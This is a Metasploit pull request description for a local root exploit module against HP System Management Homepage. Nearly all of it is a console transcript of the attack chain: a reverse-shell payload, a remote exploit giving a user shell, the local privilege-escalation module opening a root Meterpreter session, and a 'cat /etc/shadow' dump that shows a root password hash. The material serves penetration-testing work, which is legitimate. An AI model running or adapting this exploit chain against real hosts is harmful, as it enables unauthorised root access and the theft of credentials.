rapid7/metasploit-framework — pull request #1695 by agix (2013-04-02 11:25:35+00:00)
Title: Hp system management root local exploit

after getting a shell with hp_system_management exploit, use exploit/linux/local/hp_smhstart to get root.
The exploit only work with shell (no meterpreter)

msf exploit(hp_system_management) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(hp_system_management) > exploit

[*] Started reverse handler on 192.168.79.67:4444
[*] 192.168.79.6:2381 - Sending exploit...
[*] Command shell session 6 opened (192.168.79.67:4444 -> 192.168.79.6:44817) at Tue Apr 02 13:22:53 +0200 2013

id
uid=500(hpsmh) gid=500(hpsmh) groups=500(hpsmh) context=system_u:system_r:initrc_t:s0
^Z
Background session 6? [y/N] y
msf exploit(hp_system_management) > use exploit/linux/local/hp_smhstart
msf exploit(hp_smhstart) > exploit

[-] Exploit failed: Msf::OptionValidateError The following options failed to validate: SESSION.
msf exploit(hp_smhstart) > set SESSION 6
SESSION => 6
msf exploit(hp_smhstart) > exploit

[*] Started reverse handler on 192.168.79.67:4445
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.79.6
[*] Meterpreter session 7 opened (192.168.79.67:4445 -> 192.168.79.6:56526) at Tue Apr 02 13:23:39 +0200 2013
[-] Exploit failed [timeout-expired]: Timeout::Error execution expired

meterpreter > id
[-] Unknown command: id.
meterpreter > getuid
Server username: uid=0, gid=500, euid=0, egid=500, suid=0, sgid=500
meterpreter > shell
Process 1456 created.
Channel 1 created.
sh: no job control in this shell
sh-4.1# cat /etc/shadow
root:$6$kh495XSzo3bAXDOp$sCNv8CmpVDL.E.Lpm1ru/HG19j3SZI5XVbNvJVYRND8/Odv91dX6Y2lNcC35W2kllwLBc21LFijB66bNYqYmP1:15166:0:99999:7:::
sh-4.1#